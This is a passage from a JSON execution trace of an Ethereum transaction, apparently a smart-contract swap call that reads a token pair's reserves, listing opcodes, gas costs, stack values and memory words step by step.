","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x902f1ac00000000000000000000000000000000000000000000000000000000","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8679,"op":"PUSH1","gas":113765,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8681,"op":"ADD","gas":113762,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8682,"op":"PUSH1","gas":113759,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8684,"op":"DUP1","gas":113756,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8685,"op":"MLOAD","gas":113753,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8686,"op":"DUP1","gas":113750,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8687,"op":"DUP4","gas":113747,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8688,"op":"SUB","gas":113744,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180","0x180","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8689,"op":"DUP2","gas":113741,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8690,"op":"DUP7","gas":113738,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180","0x4","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8691,"op":"GAS","gas":113735,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180","0x4","0x180","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8692,"op":"STATICCALL","gas":113733,"gasCost":111997,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x40","0x180","0x4","0x180","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1bc45"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0902f1ac00000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":109397,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":109394,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":109391,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":109379,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":109377,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":109374,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":109371,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":109368,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":109358,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":109357,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":109355,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":109352,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":109350,"gasCost":3,"depth":2,"stack":["0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":109347,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":109344,"gasCost":10,"depth":2,"stack":["0x0","0x18d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":109334,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":109331,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":109328,"gasCost":3,"depth":2,"stack":["0x902f1ac00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":109325,"gasCost":3,"depth":2,"stack":["0x902f1ac00000000000000000000000000000000000000000000000000000000","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":109322,"gasCost":3,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":109319,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":109316,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":109313,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":109310,"gasCost":10,"depth":2,"stack":["0x902f1ac","0x1","0xe3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"JUMPDEST","gas":109300,"gasCost":1,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"DUP1","gas":109299,"gasCost":3,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"PUSH4","gas":109296,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":234,"op":"GT","gas":109293,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":235,"op":"PUSH2","gas":109290,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":238,"op":"JUMPI","gas":109287,"gasCost":10,"depth":2,"stack":["0x902f1ac","0x1","0x145"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":325,"op":"JUMPDEST","gas":109277,"gasCost":1,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":326,"op":"DUP1","gas":109276,"gasCost":3,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":327,"op":"PUSH4","gas":109273,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":332,"op":"GT","gas":109270,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac","0x95ea7b3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":333,"op":"PUSH2","gas":109267,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":336,"op":"JUMPI","gas":109264,"gasCost":10,"depth":2,"stack":["0x902f1ac","0x1","0x176"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":374,"op":"JUMPDEST","gas":109254,"gasCost":1,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":375,"op":"DUP1","gas":109253,"gasCost":3,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":376,"op":"PUSH4","gas":109250,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":381,"op":"EQ","gas":109247,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac","0x6fdde03"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{